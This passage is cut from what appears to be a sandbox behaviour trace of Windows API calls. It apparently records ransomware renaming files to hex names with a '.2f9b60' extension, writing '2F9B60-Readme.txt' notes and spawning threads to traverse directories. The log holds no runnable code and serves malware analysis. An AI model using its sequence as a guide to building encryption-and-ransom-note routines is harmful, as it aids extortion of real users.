Size=0x70) returned 0x1ce23f20 [0162.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190e0 [0162.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c190e0) returned 1 [0162.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce19270 [0162.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190e0 [0162.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19110 [0162.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19110) returned 1 [0162.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23f20) returned 1 [0162.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18640) returned 1 [0162.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188990 [0162.580] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.580] WriteFile (in: hFile=0x80c, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x30a3f810, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x30a3f810*=0x12a, lpOverlapped=0x0) returned 1 [0164.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586f0 [0164.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba60 [0164.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba60) returned 1 [0164.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7aa8e0 [0164.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba60 [0164.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0164.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0164.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0164.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x1ce246a0 [0164.687] sprintf (in: _Dest=0x1ce246a0, _Format="%c%c" | out: _Dest="c7") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246a2, _Format="%c%c" | out: _Dest="00") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246a4, _Format="%c%c" | out: _Dest="aa") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246a6, _Format="%c%c" | out: _Dest="93") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246a8, _Format="%c%c" | out: _Dest="55") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246aa, _Format="%c%c" | out: _Dest="13") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246ac, _Format="%c%c" | out: _Dest="21") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246ae, _Format="%c%c" | out: _Dest="80") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246b0, _Format="%c%c" | out: _Dest="48") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246b2, _Format="%c%c" | out: _Dest="98") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246b4, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246b6, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246b8, _Format="%c%c" | out: _Dest="07") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246ba, _Format="%c%c" | out: _Dest="22") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246bc, _Format="%c%c" | out: _Dest="ec") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246be, _Format="%c%c" | out: _Dest="b7") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246c0, _Format="%c%c" | out: _Dest="a5") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246c2, _Format="%c%c" | out: _Dest="59") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246c4, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246c6, _Format="%c%c" | out: _Dest="81") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246c8, _Format="%c%c" | out: _Dest="cb") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246ca, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246cc, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246ce, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246d0, _Format="%c%c" | out: _Dest="28") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246d2, _Format="%c%c" | out: _Dest="99") returned 2 [0164.687] sprintf (in: _Dest=0x1ce246d4, _Format="%c%c" | out: _Dest="39") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246d6, _Format="%c%c" | out: _Dest="af") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246d8, _Format="%c%c" | out: _Dest="fd") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246da, _Format="%c%c" | out: _Dest="21") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246dc, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246de, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246e0, _Format="%c%c" | out: _Dest="b3") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246e2, _Format="%c%c" | out: _Dest="80") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246e4, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246e6, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246e8, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246ea, _Format="%c%c" | out: _Dest="30") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246ec, _Format="%c%c" | out: _Dest="3f") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246ee, _Format="%c%c" | out: _Dest="34") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246f0, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246f2, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246f4, _Format="%c%c" | out: _Dest="3f") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246f6, _Format="%c%c" | out: _Dest="73") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246f8, _Format="%c%c" | out: _Dest="39") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246fa, _Format="%c%c" | out: _Dest="15") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246fc, _Format="%c%c" | out: _Dest="52") returned 2 [0164.688] sprintf (in: _Dest=0x1ce246fe, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.688] sprintf (in: _Dest=0x1ce24700, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.688] sprintf (in: _Dest=0x1ce24702, _Format="%c%c" | out: _Dest="2b") returned 2 [0164.688] sprintf (in: _Dest=0x1ce24704, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.688] sprintf (in: _Dest=0x1ce24706, _Format="%c%c" | out: _Dest="ff") returned 2 [0164.688] sprintf (in: _Dest=0x1ce24708, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.688] sprintf (in: _Dest=0x1ce2470a, _Format="%c%c" | out: _Dest="de") returned 2 [0164.688] sprintf (in: _Dest=0x1ce2470c, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.689] sprintf (in: _Dest=0x1ce2470e, _Format="%c%c" | out: _Dest="e7") returned 2 [0164.689] RtlInitAnsiString (in: DestinationString=0x30a3f888, SourceString="c700aa93551321804898a89a0722ecb7a5595a81cbfcd15c289939affd21c6c3b380c45c5c303f341fcc3f73391552e68f2b5dffebde7ee7" | out: DestinationString="c700aa93551321804898a89a0722ecb7a5595a81cbfcd15c289939affd21c6c3b380c45c5c303f341fcc3f73391552e68f2b5dffebde7ee7") [0164.689] RtlAnsiStringToUnicodeString (in: DestinationString=0x30a3f858, SourceString="c700aa93551321804898a89a0722ecb7a5595a81cbfcd15c289939affd21c6c3b380c45c5c303f341fcc3f73391552e68f2b5dffebde7ee7", AllocateDestinationString=1 | out: DestinationString="c700aa93551321804898a89a0722ecb7a5595a81cbfcd15c289939affd21c6c3b380c45c5c303f341fcc3f73391552e68f2b5dffebde7ee7") returned 0x0 [0164.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798e90 [0164.697] RtlFreeAnsiString (AnsiString="c") [0164.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa8e0) returned 1 [0164.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba60) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188990) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c190e0) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c190b0) returned 1 [0164.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0164.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae50) returned 1 [0164.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae80) returned 1 [0164.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b799610 [0164.700] wcscat (in: _Dest=0x1b799610, _Source="c700aa93551321804898a89a0722" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c700aa93551321804898a89a0722") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c700aa93551321804898a89a0722" [0164.700] wcscat (in: _Dest=0x1b799610, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c700aa93551321804898a89a0722.2f9b60") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c700aa93551321804898a89a0722.2f9b60" [0164.700] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c700aa93551321804898a89a0722.2f9b60", NtPathName=0x30a3f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c700aa93551321804898a89a0722.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x42c16f70 [0164.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16f70) returned 1 [0164.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac740) returned 1 [0164.703] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x30a3f898, FileInformation=0x30a3f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30a3f898, FileInformation=0x30a3f8a8) returned 0x0 [0164.703] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x30a3f898, FileInformation=0x30a3f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0164.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 [0164.705] FlushFileBuffers (hFile=0x80c) returned 1 [0166.275] CloseHandle (hObject=0x80c) returned 1 [0200.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205fd20 [0200.310] wcscpy (in: _Dest=0x4205fd20, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0200.310] wcscat (in: _Dest=0x4205fd20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" [0200.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\2f9b60-readme.txt")) returned 0xffffffff [0200.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b4 [0203.948] WriteFile (in: hFile=0x14b4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x30a3f750, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x30a3f750*=0xba9, lpOverlapped=0x0) returned 1 [0209.363] CloseHandle (hObject=0x14b4) returned 1 [0216.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205fd20) returned 1 [0216.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 Thread: id = 2538 os_tid = 0x2014 [0155.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8fa0 [0155.292] wcscpy (in: _Dest=0x1ced8fa0, _Source="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" [0155.292] wcscat (in: _Dest=0x1ced8fa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\" [0155.292] wcscat (in: _Dest=0x1ced8fa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*" [0155.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0155.292] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5d40 [0155.292] wcscmp (_String1=".", _String2=".") returned 0 [0155.293] FindNextFileW (in: hFindFile=0x1ced5d40, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.293] wcscmp (_String1="..", _String2=".") returned 1 [0155.293] wcscmp (_String1="..", _String2="..") returned 0 [0155.293] FindNextFileW (in: hFindFile=0x1ced5d40, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0155.293] wcscmp (_String1="Security", _String2=".") returned 1 [0155.293] wcscmp (_String1="Security", _String2="..") returned 1 [0155.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ce23ea0 [0155.293] wcscpy (in: _Dest=0x1ce23ea0, _Source="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" [0155.293] wcscat (in: _Dest=0x1ce23ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\" [0155.293] wcscat (in: _Dest=0x1ce23ea0, _Source="Security" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0159.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce23ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1360 [0159.189] FindNextFileW (in: hFindFile=0x1ced5d40, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0159.189] FindClose (in: hFindFile=0x1ced5d40 | out: hFindFile=0x1ced5d40) returned 1 [0159.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0159.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8fa0) returned 1 [0159.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 Thread: id = 2539 os_tid = 0x2018 [0155.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x202798b0 [0155.315] wcscpy (in: _Dest=0x202798b0, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0155.315] wcscat (in: _Dest=0x202798b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\" [0155.315] wcscat (in: _Dest=0x202798b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*" [0155.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0155.316] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5ce0 [0155.317] wcscmp (_String1=".", _String2=".") returned 0 [0155.317] FindNextFileW (in: hFindFile=0x1ced5ce0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.317] wcscmp (_String1="..", _String2=".") returned 1 [0155.317] wcscmp (_String1="..", _String2="..") returned 0 [0155.317] FindNextFileW (in: hFindFile=0x1ced5ce0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0155.317] wcscmp (_String1="x64", _String2=".") returned 1 [0155.317] wcscmp (_String1="x64", _String2="..") returned 1 [0155.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205e8d0 [0155.317] wcscpy (in: _Dest=0x4205e8d0, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0155.317] wcscat (in: _Dest=0x4205e8d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\" [0155.317] wcscat (in: _Dest=0x4205e8d0, _Source="x64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" [0158.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205e8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1340 [0158.768] FindNextFileW (in: hFindFile=0x1ced5ce0, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0158.768] FindClose (in: hFindFile=0x1ced5ce0 | out: hFindFile=0x1ced5ce0) returned 1 [0158.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0158.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202798b0) returned 1 [0158.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107540) returned 1 Thread: id = 2540 os_tid = 0x201c [0155.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x20279af0 [0155.327] wcscpy (in: _Dest=0x20279af0, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0155.327] wcscat (in: _Dest=0x20279af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\" [0155.328] wcscat (in: _Dest=0x20279af0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" [0155.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0155.328] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c80 [0155.329] wcscmp (_String1=".", _String2=".") returned 0 [0155.329] FindNextFileW (in: hFindFile=0x1ced5c80, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.329] wcscmp (_String1="..", _String2=".") returned 1 [0155.329] wcscmp (_String1="..", 